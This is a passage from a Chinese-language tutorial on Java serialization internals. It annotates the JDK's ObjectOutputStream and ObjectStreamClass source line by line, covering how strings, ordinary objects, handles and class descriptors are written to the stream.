* 若未找到对应的替代对象,则返回传入的原对象本身。
*
* 说明:
* - htab:对象 → 槽位索引 的哈希表,lookup(obj) 找不到时返回负数。
* - reps:与 htab 的索引一一对应的替代对象数组;reps[i] 是索引 i 的替代对象。
*
* @param obj 待查询是否有替代对象的原对象
* @return 若已登记替代对象则返回该替代对象,否则返回原对象
*/
Object lookup(Object obj) {
// 在哈希表中查询 obj 对应的槽位索引;未命中会得到负数
int index = htab.lookup(obj);
// 命中:返回 reps[index];未命中:直接返回原对象 obj
return (index >= 0) ? reps[index] : obj;
}

也就是说,这个方法实际上就是处理以前写入的对象和不可替换的对象。更直白点的意思,这段代码实际上做的是一个检测功能,如果检测到当前传入对象在“替换哈希表(ReplaceTable)”中无法找到,那么就调用 writeNull 方法。

接着继续判断当前写入方式是不是“unshared”方式,然后可以看到紧跟着的就是 handles.lookup(obj)

lookup 方法会查找并返回与给定对象关联的 handler,如果没有找到映射,则返回 -1,直白的意思就是说判断是否在“引用哈希表(HandleTable)”中找到该引用,如果有,那么调用 writeHandle 方法并且返回;如果没找到,那么返回 -1,需要进一步序列化处理。

之后判断当前传入对象是不是特殊类型的 ClassObjectStreamClass,如果是,则调用 writeClasswriteClassDesc 方法并且返回。

1
2
3
4
5
6
7
8
9
10
else if (obj instanceof Class) {
// 1.c 直接写类对象(TC_CLASS + 类描述或引用)
writeClass((Class) obj, unshared);
return;

} else if (obj instanceof ObjectStreamClass) {
// 1.d 写类描述符(包含 SUID、字段签名等)
writeClassDesc((ObjectStreamClass) obj, unshared);
return;
}

当以上条件都不满足的时候(不进入if),开始检查是否开启了替换对象。但实际上 enableReplace 的值通常为 false,因此我们并不会进入这一代码段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// ============================================================
// 2) writeReplace 链 + 全局替换钩子 replaceObject
// ============================================================
Object orig = obj; // 记录原始对象,用于检测是否发生替换
Class<?> cl = obj.getClass();
ObjectStreamClass desc;

for (;;) {
// REMIND: skip this check for strings/arrays?
// 译:是否需要对字符串/数组跳过 writeReplace 检查(保留上游注释)
Class<?> repCl;
// 查找/构建该类的序列化描述符(若类可序列化,将解析其 writeReplace 等)
desc = ObjectStreamClass.lookup(cl, true);
// 若类定义了私有的 writeReplace(),则调用它;当返回的替代对象
// - 为 null:直接结束(后面会写 null)
// - 与原类相同:链收敛,结束
// - 与原类不同:继续对“新对象的新类”循环检测(多级替换)
if (!desc.hasWriteReplaceMethod() ||
(obj = desc.invokeWriteReplace(obj)) == null ||
(repCl = obj.getClass()) == cl)
{
break;
}
cl = repCl; // 继续沿替换后的类型进行检查
}

// 若开启了全局替换(通过 enableReplaceObject(true)),则应用 replaceObject 钩子
if (enableReplace) {
Object rep = replaceObject(obj);
if (rep != obj && rep != null) {
cl = rep.getClass();
desc = ObjectStreamClass.lookup(cl, true);
}
obj = rep; // 允许将对象替换为 null(表示最终写 null)
}

如果对象被替换,这里会对原始对象进行二次检查,和最开始的那段代码很像,这里先将替换对象插入到 subs(替换哈希表)中,然后进行类似的判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// ============================================================
// 3) 如果发生了“对象替换”,需要:
// - 在替换表登记 orig -> obj;
// - 再次执行第 1 步的快速判定(null / 句柄复用 / Class / ObjectStreamClass)
// ============================================================
if (obj != orig) {
// 登记替换映射:保证后续再次遇到 orig 时稳定替换为同一个 obj
subs.assign(orig, obj);

if (obj == null) {
writeNull();
return;

} else if (!unshared && (h = handles.lookup(obj)) != -1) {
writeHandle(h);
return;

} else if (obj instanceof Class) {
writeClass((Class) obj, unshared);
return;

} else if (obj instanceof ObjectStreamClass) {
writeClassDesc((ObjectStreamClass) obj, unshared);
return;
}
}

以上执行都完成过后,会处理剩余对象类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// ============================================================
// 4) 常见类型分派:字符串 / 数组 / 枚举 / 常规可序列化对象
// ============================================================
if (obj instanceof String) {
// 写字符串:根据长度选择 TC_STRING 或 TC_LONGSTRING
writeString((String) obj, unshared);

} else if (cl.isArray()) {
// 写数组:原始类型数组与对象数组编码不同
writeArray(obj, desc, unshared);

} else if (obj instanceof Enum) {
// 写枚举:写所属枚举类型描述符 + 常量名
writeEnum((Enum<?>) obj, desc, unshared);

} else if (obj instanceof Serializable) {
// 常规对象:写类描述符、实例数据(含父类链上非 transient 非 static 字段)
// 内部会处理 Externalizable / writeObject 自定义等分支
writeOrdinaryObject(obj, desc, unshared);

} else {
// 不可序列化:抛出 NSEE;若启用扩展调试信息,附带“写入路径栈”
if (extendedDebugInfo) {
throw new NotSerializableException(
cl.getName() + "\n" + debugInfoStack.toString());
} else {
throw new NotSerializableException(cl.getName());
}
}
  • 如果传入对象为 String 类型,那么调用 writeString 方法将数据写入字节流;

  • 如果传入对象为 Array 类型,那么调用 writeArray 方法将数据写入字节流;

  • 如果传入对象为 Enum 类型,调用 writeEnum 方法将数据写入字节流;

  • 如果传入对象实现了 Serializable 接口,调用 writeOrdinaryObject 方法将数据写入字节流;

以上条件都不满足时则抛出 NotSerializableException 异常信息;

对于 writeStringwriteArraywriteEnum 的方法我们就不详谈了,只以 writeString 为例简单讲下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* 将给定字符串写入到序列化流;根据字符串按“修改版 UTF-8(MUTF-8)”编码后的字节长度,
* 在两种格式之间二选一:
* - 标准字符串:TC_STRING + 2 字节长度(<= 0xFFFF)+ UTF 字节
* - 长字符串: TC_LONGSTRING + 8 字节长度(> 0xFFFF)+ UTF 字节
*
* 说明:
* - 这里的“UTF”是 Java 序列化/ DataOutput 使用的 **修改版 UTF-8(MUTF-8)**,其长度不是字符数,
* 而是编码后的字节数(例如 U+0000 会编码为 0xC0 0x80)。
* - `unshared == true` 时,该对象按“非共享(unshared)”语义写出:不会被放入句柄查表用于后续 TC_REFERENCE 回引;
* 但仍会消耗一个句柄位以维持对象图的一致性。
*/
private void writeString(String str, boolean unshared) throws IOException {
// 为即将写出的对象“分配一个句柄编号”。当 unshared 为 true 时,传入 null,
// 表示不把这个对象登记进句柄查找表(后续不能通过 TC_REFERENCE 回指到它)。
// 为 false 时,登记该字符串实例,使后续重复出现时可以写 TC_REFERENCE 节省体积。
handles.assign(unshared ? null : str);

// 预先计算按 MUTF-8 编码后的字节长度(可能大于 str.length()),返回 long 以避免长度溢出。
long utflen = bout.getUTFLength(str);

// 根据长度选择写入格式:
// - <= 0xFFFF: TC_STRING(0x74) + 2 字节长度 + UTF 数据
// - > 0xFFFF: TC_LONGSTRING(0x7C) + 8 字节长度 + UTF 数据
if (utflen <= 0xFFFF) {
bout.writeByte(TC_STRING);
// writeUTF 会写入 2 字节长度(与 utflen 匹配)+ 实际 UTF 字节
bout.writeUTF(str, utflen);
} else {
bout.writeByte(TC_LONGSTRING);
// writeLongUTF 会写入 8 字节长度 + 实际 UTF 字节
bout.writeLongUTF(str, utflen);
}
}

writeOrdinaryObject

现在我们重点来看看 writeOrdinaryObject 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
/**
* 写出一个“普通的”可序列化对象到流中。
* “普通”是相对以下几类而言:它既不是 String、也不是 Class、也不是
* ObjectStreamClass、也不是数组(array)、也不是枚举常量(enum)。
*
* 线上二进制大致结构(概念示意):
* TC_OBJECT
* <classDesc 或其 TC_REFERENCE>
* <instanceData> // 由 writeSerialData 或 writeExternalData 负责
*
* 说明:
* - 对象头使用结构化标记 TC_OBJECT(0x73)。
* - “类描述”(classDesc)可能是:
* * 首次出现:完整的 TC_CLASSDESC / TC_PROXYCLASSDESC;
* * 已出现过:通过 TC_REFERENCE 回引到之前的类描述。
* - 实例数据写出路径:
* * Externalizable 且非代理类(proxy):走 writeExternalData(对象自定义 writeExternal)。
* * 否则:走 writeSerialData(默认/自定义 writeObject、默认字段等)。
*/
private void writeOrdinaryObject(Object obj,
ObjectStreamClass desc,
boolean unshared)
throws IOException
{
// (可选)为调试增强:把“当前正在写出的对象”压入调试栈,便于异常时展示写入路径。
// depth == 1 表示本次 writeObject0 的“根对象”,加上 "root " 标签更易读。
if (extendedDebugInfo) {
debugInfoStack.push(
(depth == 1 ? "root " : "") + "object (class \"" +
obj.getClass().getName() + "\", " + obj.toString() + ")"
);
}

try {
// 1) 序列化前置校验:
// - 检查该类是否满足被序列化的先决条件(实现 Serializable / Externalizable 等)。
// - 对 Externalizable 类,还会检查无参 public 构造器等要求。
// - 不满足时抛出 NotSerializableException。
desc.checkSerialize();

// 2) 写对象头标记:TC_OBJECT(结构化标记,必须在“非块模式”下写出)。
bout.writeByte(TC_OBJECT);

// 3) 写“类描述符”(class descriptor):
// - 可能写入完整的描述(TC_CLASSDESC/TC_PROXYCLASSDESC),包含 SUID、字段签名等;
// - 也可能写一个对前述描述的句柄引用(TC_REFERENCE),若该类描述已写过。
// - 这里第二个参数传 false:类描述本身始终按“可共享”语义处理(允许后续引用)。
writeClassDesc(desc, false);

// 4) 为当前“实例对象”分配句柄(handle)以支持后续的共享/回引:
// - unshared == true:传入 null,表示本对象不登记到句柄表(后续不能 TC_REFERENCE 到它),
// 但实现会维持协议上的句柄计数一致性(readUnshared 语义依赖该一致性)。
// - unshared == false:登记该对象,使得对象图中的别名关系可通过 TC_REFERENCE 保持。
handles.assign(unshared ? null : obj);

// 5) 根据类型特性选择写实例数据的路径:
if (desc.isExternalizable() && !desc.isProxy()) {
// 5.a Externalizable(且不是动态代理类):
// - 直接调用对象的 writeExternal(ObjectOutput) 把“自定义二进制”写出去。
// - 在默认协议版本(PROTOCOL_VERSION_2)下,会用 BLOCKDATA(TC_BLOCKDATA/TC_BLOCKDATALONG)
// 进行包裹,确保接收端能一次性读取到该 external 内容块;
// - 若显式使用旧协议版本(useProtocolVersion(PROTOCOL_VERSION_1)),
// 则按旧格式(可能无需块包裹)写出。
writeExternalData((Externalizable) obj);
} else {
// 5.b 常规 Serializable 对象:
// - 写出实例数据(包含父类层级上非 transient/非 static 的字段);
// - 若类自定义了 writeObject/readObject,会在此触发;
// - 写字段值时通常会切换到“块数据模式”,以 TC_BLOCKDATA* 包裹原始字段写入,
// 从而减少标记开销并保持读写对齐。
writeSerialData(obj, desc);
}

} finally {
// 6) 异常与收尾:弹出调试栈,保持调试轨迹对称。
if (extendedDebugInfo) {
debugInfoStack.pop();
}
}
}

在写入 obj 对象之前,代码会先调用 checkSerialize() 检查当前对象是否是一个可序列化对象,如果不是那么会终止本次序列化并抛出 newInvalidClassException() 错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/**
* 检查“该类的实例”是否**允许被序列化**;若不允许,则抛出 InvalidClassException。
*
* 设计要点:
* 1) ObjectStreamClass(类描述符,简称 OSC)在构建/初始化阶段,会对目标类做一系列校验,
* 如果发现**不满足序列化前置条件**或**默认序列化存在结构性问题**,就把原因封装进
* `serializeEx`(ExceptionInfo)里。
* 2) 本方法在真正写对象数据前被调用:若此前已记录“不能序列化”的原因,就转化并抛出
* InvalidClassException(其中包含类名与详细原因)。
* 3) 注意:该检查**不适用于枚举常量**的写出(enum 走专门的分支处理)。
*
* 典型会设置 `serializeEx` 的情形(不同 JDK 版本细节略有差异)举例:
* - 声明的可持久化字段元信息非法:例如 `serialPersistentFields`/字段排列不合法,
* `computeFieldOffsets()` 在构建字段布局时抛出 InvalidClassException;此时初始化逻辑会
* 将异常原因记录到 `serializeEx`(常见源码写法:`serializeEx = new ExceptionInfo(...);`)。
* - 其他类层面约束不满足(如某些平台/版本下对 Externalizable/record/value class 的限制等),
* 也会在初始化阶段把原因放入 `serializeEx`,从而触发这里的抛出。
*
* 先决条件:
* - 必须确保本描述符已完成初始化;否则视为内部使用异常(请见下方 `requireInitialized()`)。
*
* @throws InvalidClassException 若该类的对象不允许被序列化
*/
void checkSerialize() throws InvalidClassException {
// 防御式:若描述符尚未完成初始化,属于协议/实现时序问题(内部错误)
requireInitialized();
// 若初始化阶段已记录“不能序列化”的原因,这里将其抛出为 InvalidClassException
if (serializeEx != null) {
throw serializeEx.newInvalidClassException();
}
}

/**
* 断言当前 ObjectStreamClass **已完成初始化**;否则抛出 InternalError。
*
* 作用:
* - OSC 的很多行为依赖于“初始化阶段”收集到的元信息(可否序列化/字段布局/构造器/钩子等)。
* 若在初始化未完成时就调用某些方法,说明上层用法或流状态有问题,需要立即失败。
*
* 典型触发途径:
* - 协议读取/构建描述符尚未完结就提前使用;
* - 本地通过 `lookup(...)` 等路径拿到的描述符还未完成内部校验/装配。
*
* 异常类型:
* - 这里抛的是 `InternalError`(运行时错误),属于实现不变量被破坏的信号;
* 与“业务/协议错误”的 `InvalidClassException` 有所区分。
*/
private final void requireInitialized() {
if (!initialized)
throw new InternalError("Unexpected call when not initialized");
}

如果是一个可序列化对象,那么会开始写入 TC_OBJECT 标记(表示开始)

1
2
// 2) 写对象头标记:TC_OBJECT(结构化标记,必须在“非块模式”下写出)。
bout.writeByte(TC_OBJECT);

随后调用 writeClassDesc 方法写入当前对象所属类的类描述信息:

1
2
3
4
5
// 3) 写“类描述符”(class descriptor):
// - 可能写入完整的描述(TC_CLASSDESC/TC_PROXYCLASSDESC),包含 SUID、字段签名等;
// - 也可能写一个对前述描述的句柄引用(TC_REFERENCE),若该类描述已写过。
// - 这里第二个参数传 false:类描述本身始终按“可共享”语义处理(允许后续引用)。
writeClassDesc(desc, false);

如果使用的模式是 unshared 模式,则将 desc 所表示的类元数据信息插入到 handles 对象的映射表中。

1
2
3
4
5
// 4) 为当前“实例对象”分配句柄(handle)以支持后续的共享/回引:
// - unshared == true:传入 null,表示本对象不登记到句柄表(后续不能 TC_REFERENCE 到它),
// 但实现会维持协议上的句柄计数一致性(readUnshared 语义依赖该一致性)。
// - unshared == false:登记该对象,使得对象图中的别名关系可通过 TC_REFERENCE 保持。
handles.assign(unshared ? null : obj);

最后会判断当前 Java 对象的序列化语义:

  • 如果当前对象不是一个动态代理类并且是实现了外部化的,则调用 writeExternalData 方法写入对象信息;
  • 如果当前对象是一个实现了 Serializable 接口的,则调用 writeSerialData 方法写入对象信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 5) 根据类型特性选择写实例数据的路径:
if (desc.isExternalizable() && !desc.isProxy()) {
// 5.a Externalizable(且不是动态代理类):
// - 直接调用对象的 writeExternal(ObjectOutput) 把“自定义二进制”写出去。
// - 在默认协议版本(PROTOCOL_VERSION_2)下,会用 BLOCKDATA(TC_BLOCKDATA/TC_BLOCKDATALONG)
// 进行包裹,确保接收端能一次性读取到该 external 内容块;
// - 若显式使用旧协议版本(useProtocolVersion(PROTOCOL_VERSION_1)),
// 则按旧格式(可能无需块包裹)写出。
writeExternalData((Externalizable) obj);
} else {
// 5.b 常规 Serializable 对象:
// - 写出实例数据(包含父类层级上非 transient/非 static 的字段);
// - 若类自定义了 writeObject/readObject,会在此触发;
// - 写字段值时通常会切换到“块数据模式”,以 TC_BLOCKDATA* 包裹原始字段写入,
// 从而减少标记开销并保持读写对齐。
writeSerialData(obj, desc);
}

writeClassDesc

writeClassDesc 方法主要用于判断当前的类描述符使用什么方式写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/**
* 将“类描述符”(ObjectStreamClass,简称 OSC)的表示写入到序列化流中。
*
* 类描述符用于告诉对端:这个类如何被序列化/反序列化(类名、SUID、标志位、字段列表、
* 是否有 writeObject/readObject、是否 Externalizable、父类描述符等)。
*
* 协议相关(写入时会使用到的结构化标记,供理解):
* - TC_NULL(0x70) :空引用
* - TC_REFERENCE(0x71) :句柄回引(后随 4 字节句柄 ID)
* - TC_CLASSDESC(0x72) :“非代理类”的类描述符
* - TC_PROXYCLASSDESC(0x7D) :“动态代理类(java.lang.reflect.Proxy)”的类描述符
*
* 关于 unshared:
* - 当作为“独立对象”写出 ObjectStreamClass 本身时,可能会传入 true(走 writeUnshared 语义)。
* - 当作为“某对象的类描述”被写出时,调用点一般传 false(类描述应可被共享/回引,以避免重复写入)。
*/
private void writeClassDesc(ObjectStreamClass desc, boolean unshared)
throws IOException
{
int handle;

if (desc == null) {
// 情况 A:没有类描述符(空)→ 写 TC_NULL
writeNull();

} else if (!unshared && (handle = handles.lookup(desc)) != -1) {
// 情况 B:允许共享,且该 OSC 之前已经写出过
// → 使用句柄回引:写 TC_REFERENCE + 4 字节句柄 ID,避免重复完整输出
writeHandle(handle);

} else if (desc.isProxy()) {
// 情况 C:该类是“动态代理类”(由 Proxy 生成)
// → 写入代理类描述符(TC_PROXYCLASSDESC),内部会写接口名列表、注解等信息,
// 并在末尾跟随其父类描述符(通常是 Object)的处理
writeProxyDesc(desc, unshared);

} else {
// 情况 D:普通(非代理)类
// → 写入非代理类描述符(TC_CLASSDESC),包含:
// * 类名、serialVersionUID
// * 类标志(如 SC_SERIALIZABLE、SC_EXTERNALIZABLE、SC_WRITE_METHOD 等)
// * 字段描述数组(类型签名、字段名)
// * 若有自定义 writeObject/readObject 将以标志体现
// * “注解块”(以块数据写的自定义元数据,通常为空)
// * 父类的类描述符(递归同样的规则)
writeNonProxyDesc(desc, unshared);
}
}
  • 如果传入的类描述信息是一个 null 引用,那么会调用 writeNull 方法;
  • 如果没有使用 unshared 方式,并且可以在 handles 对象池中找到传入的对象信息,那么调用writeHandle
  • 如果传入的类是一个动态代理类,那么调用 writeProxyDesc 方法;
  • 如果上面三个条件都不满足,那么调用 writeNonProxyDesc 方法。

writeNull 就是向序列化流中写入一个“空引用”标记。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* 向序列化流写入“空引用”标记。
*
* 协议语义:
* - 使用结构化标记 TC_NULL (0x70) 表示一个对象位置上出现了 null。
* - 常见出现位置:对象引用字段为 null、类描述符的父类为 null(到达 java.lang.Object)等。
* - 这是“结构化标记”,通常在**非块数据模式**下写出(调用点会负责切换)。
*
* I/O 细节:
* - 通过 DataOutput 写单字节,按 Java 序列化协议的有序字节流输出。
*/
private void writeNull() throws IOException {
bout.writeByte(TC_NULL); // 0x70
}

writeHandle 则是在当前对象允许引用的时候,写入该对象在本地句柄表(handles)的下标信息。

具体来说是写入结构化标记 TC_REFERENCE (0x71) 后跟 4 字节网络句柄 ID。这里网络句柄 ID 对应本地句柄表(handles)的下标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* 写出一个“对象句柄引用”(reference),即指向**此前已写出对象**的回引。
*
* 协议语义:
* - 结构化标记 TC_REFERENCE (0x71) 后跟 4 字节的“wire handle id”(网络句柄 ID)。
* - 该 ID = baseWireHandle + handle,其中:
* * handle:本地句柄表(handles)的下标,范围从 0 递增;
* * baseWireHandle:协议常量,固定为 0x7E0000(参见 ObjectStreamConstants)。
* 因此,第一次登记的对象在“线上”的句柄是 0x7E0000,第二个是 0x7E0001,如此类推。
*
* 这么设计的原因:
* - 将“线上句柄 ID”映射到一个**不与其他标记/保留值冲突的正区间**,便于接收端区分与校验。
* - 发送端用本地下标(handle)管理对象共享关系;接收端收到 (base + n) 后,会减去 base 并在其
* 自己的句柄表中取回对应对象,实现“别名/共享引用”的还原。
*
* 与 unshared 的关系:
* - 若对象按“非共享(unshared)”语义写出,就**不会登记到句柄表**,因此也不会出现对它的 TC_REFERENCE。
*
* I/O 细节:
* - writeInt 按 **big-endian** 写 4 字节整数(Java DataOutput 的标准字节序)。
* - 本方法只负责写“引用”;对象本体的首次写出由其他路径完成(并在其处进行 handles.assign 登记)。
*
* 示例(handle==3):
* 输出:0x71(TC_REFERENCE)
* + 00 7E 00 03(int 0x007E0003,即 0x7E0000 + 3 的 big-endian 表示)
*/
private void writeHandle(int handle) throws IOException {
bout.writeByte(TC_REFERENCE); // 0x71
bout.writeInt(baseWireHandle + handle); // baseWireHandle 固定为 0x7E0000
}

writeProxyDesc 则写入动态代理类的信息,包括代理实现的接口名称等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/**
* 将“动态代理类”的类描述符(proxy class descriptor)写入序列化流。
*
* 结构(概念示意,对应反序列化时的读取顺序):
* TC_PROXYCLASSDESC // 0x7D:动态代理类描述符标记
* int interfaceCount // 代理类实现的接口数量
* UTF interfaceName[interfaceCount]// 每个接口的全限定名(MUTF-8)
* classAnnotations // 以 Block-Data 形式书写的“类注解块”
* TC_BLOCKDATA... // 可有零个或多个块(由 annotateProxyClass 写入)
* ...
* TC_ENDBLOCKDATA // 0x78:注解块结束
* superClassDesc // 父类的类描述符(对 JDK 动态代理来说通常是 java.lang.reflect.Proxy)
*
* 说明:
* - 与普通类(TC_CLASSDESC)不同,动态代理类使用 TC_PROXYCLASSDESC,并写出“接口列表”而不是字段表。
* - “类注解块”是留给子类扩展用的钩子(annotateProxyClass);默认不写内容,但必须用
* Block-Data 包裹,并以 TC_ENDBLOCKDATA 结束,保证协议对齐。
* - 类描述符对象(ObjectStreamClass,简称 desc)也会参与句柄共享;允许后续以 TC_REFERENCE 回指。
*/
private void writeProxyDesc(ObjectStreamClass desc, boolean unshared)
throws IOException
{
// 1) 写入“动态代理类描述符”标记(结构化标记,不属于块数据)
bout.writeByte(TC_PROXYCLASSDESC); // 0x7D

// 2) 为“类描述符对象本身”分配/登记句柄,以便后续引用(除非采用 unshared 语义)
// - unshared == true :不登记到句柄表(后续不能通过 TC_REFERENCE 回指这个 desc)
// - unshared == false :登记,使之可共享(常规路径)
handles.assign(unshared ? null : desc);

// 3) 写出“该代理类实现的接口列表”
// - desc.forClass() 返回此描述符对应的运行时 Class(这里是一个 Proxy 生成的类)
// - getInterfaces() 返回代理类直接实现的接口数组
Class<?> cl = desc.forClass();
Class<?>[] ifaces = cl.getInterfaces();

// 3.1 先写接口数量(4 字节 int)
bout.writeInt(ifaces.length);

// 3.2 逐个写接口名(MUTF-8,使用 getName() 的全限定名形式,如 "java.lang.Runnable")
for (int i = 0; i < ifaces.length; i++) {
bout.writeUTF(ifaces[i].getName());
}

// 4) 写“类注解块”(classAnnotations):
// - 按协议,此部分必须以 Block-Data 模式写入(可能为空)
// - 默认实现的 annotateProxyClass(cl) 不写任何内容;子类可重写添加自定义字节
// - 由于这是留给子类扩展的“开放区域”,故在真正写入注解前切换到块数据模式
bout.setBlockDataMode(true);

// 4.1 安全检查(仅当当前 ObjectOutputStream 是自定义子类时才进行):
// - isCustomSubclass():判断本对象是否为 OOS 的自定义子类(而非 JDK 原生类)
// - ReflectUtil.checkPackageAccess(cl):在启用 SecurityManager 的环境中,
// 校验是否允许访问 cl 所在包(避免非受信子类借注解扩展对敏感类写入信息)
if (cl != null && isCustomSubclass()) {
ReflectUtil.checkPackageAccess(cl);
}

// 4.2 允许子类在“类描述符注解”区域写入自定义数据(会被当作 Block-Data 片段)
// - 默认实现通常什么都不写
annotateProxyClass(cl);

// 4.3 结束注解块写入:切回非块模式,并写 TC_ENDBLOCKDATA(注解结束标记)
// - 注意:注解数据内容本身是以若干 TC_BLOCKDATA/TC_BLOCKDATALONG 块写的,
// 这里切回非块模式是为了写结构化的“结束标记”
bout.setBlockDataMode(false);
bout.writeByte(TC_ENDBLOCKDATA); // 0x78

// 5) 递归写出“父类”的类描述符(superClassDesc):
// - 对 JDK 动态代理类而言,其父类通常是 java.lang.reflect.Proxy
// - 这里强制使用“共享语义”(false),这样父类描述符也可被后续引用,避免重复写入
writeClassDesc(desc.getSuperDesc(), false);
}

writeNonProxyDesc 则写入普通类的基本信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/**
* 将“普通类”(非动态代理类)的类描述符写入到序列化流中。
*
* 写出结构(概念示意,对应接收端读取顺序):
* TC_CLASSDESC // 0x72:普通类描述符标记
* classDescBody // 类名、SUID、类标志、字段表、可选注解块占位等(见下)
* classAnnotations // 以 Block-Data 方式写出的“类注解块”(可为空)
* TC_BLOCKDATA... // 若有注解,由 annotateClass 写入的原始字节块
* ...
* TC_ENDBLOCKDATA // 0x78:注解块结束标记
* superClassDesc // 父类的类描述符(递归相同格式,直至 Object 的 TC_NULL)
*
* 关键点:
* - 与动态代理类(TC_PROXYCLASSDESC)不同,普通类在“类体”里写**字段表**而非接口列表。
* - 类描述符对象(ObjectStreamClass, desc)也参与句柄共享(handles),以避免重复输出。
* - “类注解块”是留给子类扩展(annotateClass)的开放区域,必须用 Block-Data 包裹并以
* TC_ENDBLOCKDATA 结束,随后才写父类描述符。
*/
private void writeNonProxyDesc(ObjectStreamClass desc, boolean unshared)
throws IOException
{
// 1) 结构化标记:普通类描述符
bout.writeByte(TC_CLASSDESC); // 0x72

// 2) 为“类描述符对象本身”分配/登记句柄(除非按 unshared 语义不共享)
// - unshared == true :不登记到句柄表(后续不能 TC_REFERENCE 回指该 desc)
// - unshared == false :登记,可共享(常规)
handles.assign(unshared ? null : desc);

// 3) 写入“类描述符主体”(classDescBody):
// - 内容包括:类名(UTF)、serialVersionUID(long)、类标志(byte)、字段数量(short)、
// 字段表(类型码/签名 + 字段名 + 对象字段的签名 UTF)、以及一个“注解块的占位”(随后单独写)
// - 不同协议版本对“是否允许类描述符写钩子”处理不同:
if (protocol == PROTOCOL_VERSION_1) {
// 旧协议(stream protocol v1)不调用写钩子(writeClassDescriptor),
// 直接让描述符按旧格式把主体写入。
// 典型地,它会写出与 v1 兼容的 classDescBody。
desc.writeNonProxy(this);
} else {
// 新协议(stream protocol v2,JDK 默认):调用可被子类覆写的钩子,
// 允许自定义类描述符的主体写法(默认实现等价于 v2 格式的标准输出)。
writeClassDescriptor(desc);
}

// 4) 写“类注解块”(classAnnotations)
// - 这部分必须在 Block-Data 模式下写(可能为空);
// - 默认 annotateClass(cl) 不写内容;自定义子类可在此输出额外元数据(按块写)。
Class<?> cl = desc.forClass();

// 切换到块数据模式,准备写注解块的原始字节(若有)
bout.setBlockDataMode(true);

// 安全检查(仅当当前 ObjectOutputStream 是“自定义子类”时启用):
// - isCustomSubclass():判断是否为 OOS 的用户自定义子类;
// - ReflectUtil.checkPackageAccess(cl):在启用 SecurityManager 时校验包访问权限,
// 避免非受信子类对敏感类写入注解数据。
if (cl != null && isCustomSubclass()) {
ReflectUtil.checkPackageAccess(cl);
}

// 允许子类向“类注解块”写入自定义数据(作为一个或多个 TC_BLOCKDATA* 片段);
// 默认实现通常不写任何内容。
annotateClass(cl);

// 结束注解块:切回“非块模式”以写结构化的结束标记,然后写 TC_ENDBLOCKDATA(0x78)
bout.setBlockDataMode(false);
bout.writeByte(TC_ENDBLOCKDATA);

// 5) 递归写出“父类”的类描述符:
// - 按协议,这里必须紧随注解块之后写父类描述符(或 TC_NULL 表示无父类);
// - 使用共享语义(false),使父类描述符也能被后续引用,避免重复写。
writeClassDesc(desc.getSuperDesc(), false);
}

其中写入“类描述符主体”实际调用的都是 desc.writeNonProxy 函数。

1
2
3
4
5
protected void writeClassDescriptor(ObjectStreamClass desc)
throws IOException
{
desc.writeNonProxy(this);
}

writeNonProxy 会将类名、类型、字段等信息写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/**
* 将“普通类(非动态代理)”的类描述符主体信息写入到给定的 ObjectOutputStream。
*
* 说明:
* - 本方法仅负责 **classDesc 的主体**(类名、SUID、flags、字段表);“类注解块”和“父类描述符”
* 由上层的 writeNonProxyDesc(...) 负责紧随其后写出。
* - 与动态代理类(TC_PROXYCLASSDESC)不同,普通类使用 TC_CLASSDESC 并包含字段表。
*/
void writeNonProxy(ObjectOutputStream out) throws IOException {
// 1) 写类的“二进制名”(例如 java.lang.String),使用 MUTF-8(writeUTF 会写 2 字节长度前缀)
out.writeUTF(name);

// 2) 写 serialVersionUID(long,8 字节,大端)
out.writeLong(getSerialVersionUID());

// 3) 组装并写入“类标志位”(flags)
byte flags = 0;

if (externalizable) {
// Externalizable:实例数据由对象自己的 writeExternal 写;读取端也走 readExternal
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;

// 协议版本控制:
// - 在 v2(默认)协议下,Externalizable 的数据需要以 Block-Data 包裹(读端据此按块读取)
// - 在 v1 协议下,不使用 Block-Data 包裹,按老格式读写
int protocol = out.getProtocolVersion();
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}

} else if (serializable) {
// Serializable:按默认/自定义 writeObject 机制写实例数据
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}

if (hasWriteObjectData) {
